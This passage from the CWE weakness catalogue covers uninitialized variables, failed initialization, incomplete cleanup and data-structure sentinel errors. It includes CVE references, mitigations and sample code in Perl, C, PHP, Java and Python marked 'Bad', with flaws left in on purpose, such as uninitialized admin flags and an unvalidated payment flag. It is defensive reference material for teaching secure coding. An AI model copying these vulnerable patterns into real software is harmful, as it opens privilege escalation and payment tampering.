The product does not exit or otherwise modify its operation when security-relevant errors occur during initialization, such as when a configuration file has a format error or a hardware security module (HSM) cannot be activated, which can cause the product to execute in a less secure fashion than intended by the administrator.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	636	Not Failing Securely ('Failing Open')	1412
ChildOf	C	665	Improper Initialization	1468
ChildOf	C	705	Incorrect Control Flow Scoping	1554

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	2364

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Modify Application Data Alter Execution Logic *The application could be placed in an insecure state that may allow an attacker to modify sensitive data or allow unintended logic to be executed.*	

Potential Mitigations

Phase: Implementation

Follow the principle of failing securely when an error occurs. The system should enter a state where it is not vulnerable and will not display sensitive error messages to a potential attacker.

Demonstrative Examples

Example 1:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl *(Bad)*

```
$username = GetCurrentUser();
$state = GetStateData($username);
if (defined($state)) {
   $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
   DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the $uid variable will not be explicitly set by the programmer. This will cause $uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Observed Examples

Reference	Description
CVE-2005-1345	Product does not trigger a fatal error if missing or invalid ACLs are in a configuration file. *https://www.cve.org/CVERecord?id=CVE-2005-1345*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page

PLOVER			Non-exit on Failed Initialization

CWE-456: Missing Initialization of a Variable

Weakness ID : 456
Structure : Simple
Abstraction : Variant

Description

The product does not initialize critical variables, which causes the execution environment to use unexpected values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name	Page
ChildOf	C	665	Improper Initialization	1468

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Quality Degradation Varies by Context *The uninitialized data may be invalid, causing logic errors within the program. In some cases, this could result in a security problem.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Check that critical variables are initialized.

Phase: Testing

Use a static analysis tool to spot non-initialized variables.

Demonstrative Examples

Example 1:

This function attempts to extract a pair of numbers from a user-supplied string.

Example Language: C *(Bad)*

```
void parse_data(char *untrusted_input){
   int m, n, error;
   error = sscanf(untrusted_input, "%d:%d", &m, &n);
   if ( EOF == error ){
      die("Did not specify integer value. Die evil hacker!\n");
   }
   /* proceed assuming n and m are initialized correctly */
}
```

This code attempts to extract two integer values out of a formatted, user-supplied input. However, if an attacker were to provide an input of the form:

Example Language: *(Attack)*

```
123:
```

then only the m variable will be initialized. Subsequent use of n may result in the use of an uninitialized variable (CWE-457).

Example 2:

Here, an uninitialized field in a Java class is used in a seldom-called method, which would cause a NullPointerException to be thrown.

Example Language: Java *(Bad)*

```
private User user;
public void someMethod() {
   // Do something interesting.
   ...
   // Throws NPE if user hasn't been properly initialized.
   String username = user.getName();
}
```

Example 3:

This code first authenticates a user, then allows a delete command if the user is an administrator.

Example Language: PHP *(Bad)*

```
if (authenticate($username,$password) && setAdmin($username)){
   $isAdmin = true;
}
/.../
if ($isAdmin){
   deleteUser($userToDelete);
}
```

The $isAdmin variable is set to true if the user is an admin, but is uninitialized otherwise. If PHP's register_globals feature is enabled, an attacker can set uninitialized variables like $isAdmin to arbitrary values, in this case gaining administrator privileges by setting $isAdmin to true.

Example 4:

In the following Java code the BankManager class uses the user variable of the class User to allow authorized users to perform bank manager tasks. The user variable is initialized within the method setUser that retrieves the User from the User database. The user is then authenticated as unauthorized user through the method authenticateUser.

Example Language: Java *(Bad)*

```
public class BankManager {
   // user allowed to perform bank manager tasks
   private User user = null;
   private boolean isUserAuthentic = false;
   // constructor for BankManager class
   public BankManager() {
      ...
   }
   // retrieve user from database of users
   public User getUserFromUserDatabase(String username){
      ...
   }
   // set user variable using username
   public void setUser(String username) {
      this.user = getUserFromUserDatabase(username);
   }
   // authenticate user
   public boolean authenticateUser(String username, String password) {
      if (username.equals(user.getUsername()) && password.equals(user.getPassword())) {
         isUserAuthentic = true;
      }
      return isUserAuthentic;
   }
   // methods for performing bank manager tasks
   ...
}
```

However, if the method setUser is not called before authenticateUser then the user variable will not have been initialized and will result in a NullPointerException. The code should verify that the user variable has been initialized before it is used, as in the following code.

Example Language: Java *(Good)*

```
public class BankManager {
   // user allowed to perform bank manager tasks
   private User user = null;
   private boolean isUserAuthentic = false;
   // constructor for BankManager class
   public BankManager(String username) {
      user = getUserFromUserDatabase(username);
   }
   // retrieve user from database of users
   public User getUserFromUserDatabase(String username) {...}
   // authenticate user
   public boolean authenticateUser(String username, String password) {
      if (user == null) {
         System.out.println("Cannot find user " + username);
      }
      else {
         if (password.equals(user.getPassword())) {
            isUserAuthentic = true;
         }
      }
      return isUserAuthentic;
   }
      // methods for performing bank manager tasks
      ...
}
```

Example 5:

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C *(Bad)*

```
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

Example Language: C *(Good)*

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

Example Language: C *(Good)*

```
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
else {
   test_string = "Done on the other side!";
}
printf("%s", test_string);
```

Example 6:

Consider the following merchant server application as implemented in [REF-1475]. It receives card payment information (orderPgData instance in OrderPgData.java) from the payment gateway (such as PayPal). The next step is to complete the payment (finalizeOrder() in Main.java). The merchant server validates the amount (validateAmount() in OrderPgData.java), and if the validation is successful, then the payment is completed.

Example Language: Java *(Bad)*

```
File: OrderPgData.java
public class OrderPgData {
   String PgType;
   int productPrice;
```

```
  int paymentAmount;
  private boolean isPaymentAmountTampered;
    public boolean getIsPaymentAmountTampered() {
      return this.isPaymentAmountTampered;
    }
  ...
public void validateAmount() {
  ... [sets this.setIsPaymentAmountTampered to true or false depending on whether the product price matches the payment
  amount]
}
```

Example Language: Java *(Bad)*

```
File: PgServiceResolver.java
public class PgServiceResolver {
  public OrderPgData getOrderPgDataByPgType(String pgType, int productPrice, int paymentAmount) {
    ...
    switch(pgType) {
      case "card":
        System.out.println("In "+pgType+" payment logic, orderPgData does not verify whether the product amount and
        payment amount have been tampered with.");
        break;
      case "paypal":
        System.out.println("In "+pgType+" payment logic, orderPgData verifies whether the product amount and payment
        amount have been tampered with.");
        orderPgData.validateAmount();
        break;
      }
      ...
```

Example Language: Java *(Bad)*

```
File: Main.java
public class Main {
  public static void main(String[] args) {
    String pgType = "card"; // or paypal
    int productPrice = 100;
    int paymentAmount = 10;
    PgServiceResolver pgServiceResolver = new PgServiceResolver();
    OrderPgData orderPgData = pgServiceResolver.getOrderPgDataByPgType(pgType, productPrice, paymentAmount);
    finalizeOrder(orderPgData);
  }
  private static void finalizeOrder(OrderPgData orderPgData) {
    if (orderPgData.getIsPaymentAmountTampered()) {
      System.out.println("The attacker tampered with the payment amount, but product payment is canceled.");
    } else {
      ... /* the product payment is completed */
    }
  }
}
```

In PgServiceResolver.java, when pgType is "card" indicating a card payment, orderPgData.validateAmount() is not called - that is, the amount is not validated to be the same as the expected price.

Since isPaymentAmountTampered is declared as a private boolean, but it is not initialized, it is forcibly initialized to false by the Java compiler [REF-1476].

If the adversary modifies the price, e.g., changing paymentAmount from 100 to 10, then no validation is performed. Since isPaymentAmountTampered is "false" because of the default initialization, the code finishes processing the payment because it does not believe that the amount has been changed.

This weakness could be addressed by setting the value of isPaymentAmountTampered to true. This is a "secure-by-default" value that reflects a "default deny" policy - i.e., it's assumed that the payment amount is tampered, and only a special validation step can change this assumption.

Example Language: Java *(Good)*

```
File: OrderPgData.java
...
   private boolean isPaymentAmountTampered = true;
```

Observed Examples

Reference	Description
CVE-2020-6078	Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) *https://www.cve.org/CVERecord?id=CVE-2020-6078*
CVE-2019-3836	Chain: secure communications library does not initialize a local variable for a data structure (CWE-456), leading to access of an uninitialized pointer (CWE-824). *https://www.cve.org/CVERecord?id=CVE-2019-3836*

Notes

Relationship

This weakness is a major factor in a number of resultant weaknesses, especially in web applications that allow global variable initialization (such as PHP) with libraries that can be directly requested.

Research Gap

It is highly likely that a large number of resultant weaknesses have missing initialization as a primary factor, but researcher reports generally do not provide this level of detail.

CWE-457: Use of Uninitialized Variable

Weakness ID : 457
Structure : Simple
Abstraction : Variant

Description

The code uses a variable that has not been initialized, leading to unpredictable or unintended results.

Extended Description

In some languages such as C and C++, stack variables are not initialized by default. They generally contain junk data with the contents of stack memory before the function was invoked. An attacker can sometimes control or read these contents. In other languages or conditions, a variable that is not explicitly initialized can be given a default value that has security implications, depending on the logic of the program. The presence of an uninitialized variable can sometimes indicate a typographic error in the code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Applicable Platforms

Language : C *(Prevalence = Sometimes)*

Language : C++ *(Prevalence = Sometimes)*

Language : Perl *(Prevalence = Often)*

Language : PHP *(Prevalence = Often)*

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability Integrity Other	Other *Initial variables usually contain junk, which can not be trusted for consistency. This can lead to denial of service conditions, or modify control flow in unexpected ways. In some cases, an attacker can "pre-initialize" the variable using previous actions, which might enable code execution. This can cause a race condition if a lock variable check passes when it should not.*	
Authorization Other	Other	

Scope	Impact	Likelihood
	Strings that are not initialized are especially dangerous, since many functions expect a null at the end -- and only at the end -- of a string.	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Attack Surface Reduction

Assign all variables to an initial value.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Most compilers will complain about the use of uninitialized variables if warnings are turned on.

Phase: Implementation

Phase: Operation

When using a language that does not require explicit declaration of variables, run or compile the software in a mode that reports undeclared or unknown variables. This may indicate the presence of a typographic error in the variable's name.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Architecture and Design

Mitigating technologies such as safe string libraries and container abstractions could be introduced.

Demonstrative Examples

Example 1:

This code prints a greeting using information stored in a POST request:

Example Language: PHP *(Bad)*

```
if (isset($_POST['names'])) {
   $nameArray = $_POST['names'];
}
```

```
echo "Hello " . $nameArray['first'];
```

This code checks if the POST array 'names' is set before assigning it to the $nameArray variable. However, if the array is not in the POST request, $nameArray will remain uninitialized. This will cause an error when the array is accessed to print the greeting message, which could lead to further exploit.

Example 2:

The following switch statement is intended to set the values of the variables aN and bN before they are used:

Example Language: C *(Bad)*

```
int aN, Bn;
switch (ctl) {
   case -1:
      aN = 0;
      bN = 0;
      break;
   case 0:
      aN = i;
      bN = -i;
      break;
   case 1:
      aN = i + NEXT_SZ;
      bN = i - NEXT_SZ;
      break;
   default:
      aN = -1;
      aN = -1;
      break;
}
repaint(aN, bN);
```

In the default case of the switch statement, the programmer has accidentally set the value of aN twice. As a result, bN will have an undefined value. Most uninitialized variable issues result in general software reliability problems, but if attackers can intentionally trigger the use of an uninitialized variable, they might be able to launch a denial of service attack by crashing the program. Under the right circumstances, an attacker may be able to control the value of an uninitialized variable by affecting the values on the stack prior to the invocation of the function.

Example 3:

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C *(Bad)*

```
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

Example Language: C *(Good)*

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
   test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

Example Language: C *(Good)*

```
char *test_string;
if (i != err_val)
{
   test_string = "Hello World!";
}
else {
   test_string = "Done on the other side!";
}
printf("%s", test_string);
```

Observed Examples

Reference	Description
CVE-2019-15900	Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863). *https://www.cve.org/CVERecord?id=CVE-2019-15900*
CVE-2008-3688	Chain: A denial of service may be caused by an uninitialized variable (CWE-457) allowing an infinite loop (CWE-835) resulting from a connection to an unresponsive server. *https://www.cve.org/CVERecord?id=CVE-2008-3688*

CWE-459: Incomplete Cleanup

Weakness ID : 459
Structure : Simple
Abstraction : Base

Description

The product does not properly "clean up" and remove temporary or supporting resources after they have been used.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	988
ParentOf	B	226	Sensitive Information in Resource Not Removed Before Reuse	570
ParentOf	B	460	Improper Cleanup on Thrown Exception	1112
ParentOf	V	568	finalize() Method Without super.finalize()	1301

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	404	Improper Resource Shutdown or Release	988

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	452	Initialization and Cleanup Errors	2364

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Alternate Terms

Insufficient Cleanup :

Common Consequences

Scope	Impact	Likelihood
Other	Other	
Confidentiality	Read Application Data	
Integrity	Modify Application Data	
	DoS: Resource Consumption (Other)	
	It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

Demonstrative Examples

Example 1:

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

Example Language: Java *(Bad)*

```
try {
   InputStream is = new FileInputStream(path);
   byte b[] = new byte[is.available()];
   is.read(b);
   is.close();
} catch (Throwable t) {
   log.error("Something bad happened: " + t.getMessage());
}
```

Observed Examples

Reference	Description
CVE-2000-0552	World-readable temporary file not deleted after use. *https://www.cve.org/CVERecord?id=CVE-2000-0552*
CVE-2005-2293	Temporary file not deleted after use, leaking database usernames and passwords. *https://www.cve.org/CVERecord?id=CVE-2005-2293*
CVE-2002-0788	Interaction error creates a temporary file that can not be deleted due to strong permissions. *https://www.cve.org/CVERecord?id=CVE-2002-0788*
CVE-2002-2066	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2066*
CVE-2002-2067	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2067*
CVE-2002-2068	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2068*
CVE-2002-2069	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2069*
CVE-2002-2070	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak). *https://www.cve.org/CVERecord?id=CVE-2002-2070*
CVE-2005-1744	Users not logged out when application is restarted after security-relevant changes were made. *https://www.cve.org/CVERecord?id=CVE-2005-1744*

Functional Areas

- File Processing

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2520
MemberOf	C	1416	Comprehensive Categorization: Resource Lifecycle Management	1400	2582

Notes

Relationship

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Relationship

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO42-C	CWE More Abstract	Close files when they are no longer needed
CERT C Secure Coding	MEM31-C	CWE More Abstract	Free dynamically allocated memory when no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO04-J		Release resources when they are no longer needed
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP14		Failure to release resource

CWE-460: Improper Cleanup on Thrown Exception

Weakness ID : 460
Structure : Simple
Abstraction : Base

Description

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	755	Improper Handling of Exceptional Conditions	1589
ChildOf	B	459	Incomplete Cleanup	1109

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2464

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context *The code could be left in a bad state.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: Java *(Bad)*

```
public class foo {
  public static final void main( String args[] ) {
    boolean returnValue;
    returnValue=doStuff();
  }
  public static final boolean doStuff( ) {
    boolean threadLock;
    boolean truthvalue=true;
    try {
      while(
      //check some condition
      ) {
        threadLock=true; //do some stuff to truthvalue
        threadLock=false;
      }
    }
    catch (Exception e){
      System.err.println("You did something bad");
      if (something) return truthvalue;
```

```
    }
    return truthvalue;
  }
}
```

In this case, a thread might be left locked accidentally.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID : 462
Structure : Simple
Abstraction : Variant

Description

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	694	Use of Multiple Resources with Duplicate Identifier	1534

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Use a hash table instead of an alist.

Phase: Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

Demonstrative Examples

Example 1:

The following code adds data to a list and then attempts to sort the data.

Example Language: Python *(Bad)*

```
alist = []
while (foo()): #now assume there is a string data with a key basename
   queue.append(basename,data)
   queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

MemberOf Relationships

CWE-463: Deletion of Data Structure Sentinel

Weakness ID : 463
Structure : Simple
Abstraction : Base

Description

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1558
PeerOf	B	464	Addition of Data Structure Sentinel	1118
PeerOf	B	170	Improper Null Termination	434

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2348

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability Other	Other *Generally this error will cause the data structure to not work properly.*	

Scope	Impact	Likelihood
Authorization Other	Other *If a control character, such as NULL is removed, one may cause resource access control problems.*	

Potential Mitigations

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Phase: Build and Compilation

Strategy = Compilation or Build Hardening

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

Effectiveness = Defense in Depth

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Phase: Operation

Use OS-level preventative functionality. Not a complete solution.

Demonstrative Examples

Example 1:

This example creates a null terminated string and prints it contents.

Example Language: C *(Bad)*

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
   foo[counter]='a';
printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-464: Addition of Data Structure Sentinel

Weakness ID : 464
Structure : Simple
Abstraction : Base

Description

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	138	Improper Neutralization of Special Elements	379
PeerOf	B	170	Improper Null Termination	434
PeerOf	B	463	Deletion of Data Structure Sentinel	1116

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	2348

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data *Generally this error will cause the data structure to not work properly by truncating the data.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

Phase: Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

Phase: Operation

Use OS-level preventative functionality. This is not a complete solution.

Demonstrative Examples

Example 1:

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

Example Language: C *(Bad)*

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=fgetc(stdin);
foo[3]='c';
foo[4]='\0';
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a NULL byte is read from stdin by fgetc, then it will return 0. When foo is printed as a string, the 0 at character foo[2] will act as a NULL terminator and foo[3] will never be printed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2456
MemberOf	C	1399	Comprehensive Categorization: Memory Safety	1400	2562

Notes

Maintenance

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

CWE-467: Use of sizeof() on a Pointer Type

Weakness ID : 467
Structure : Simple
Abstraction : Variant

Description

The code calls sizeof() on a pointer type, which can be an incorrect calculation if the programmer intended to determine the size of the data that is being pointed to.

Extended Description

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

Relationships

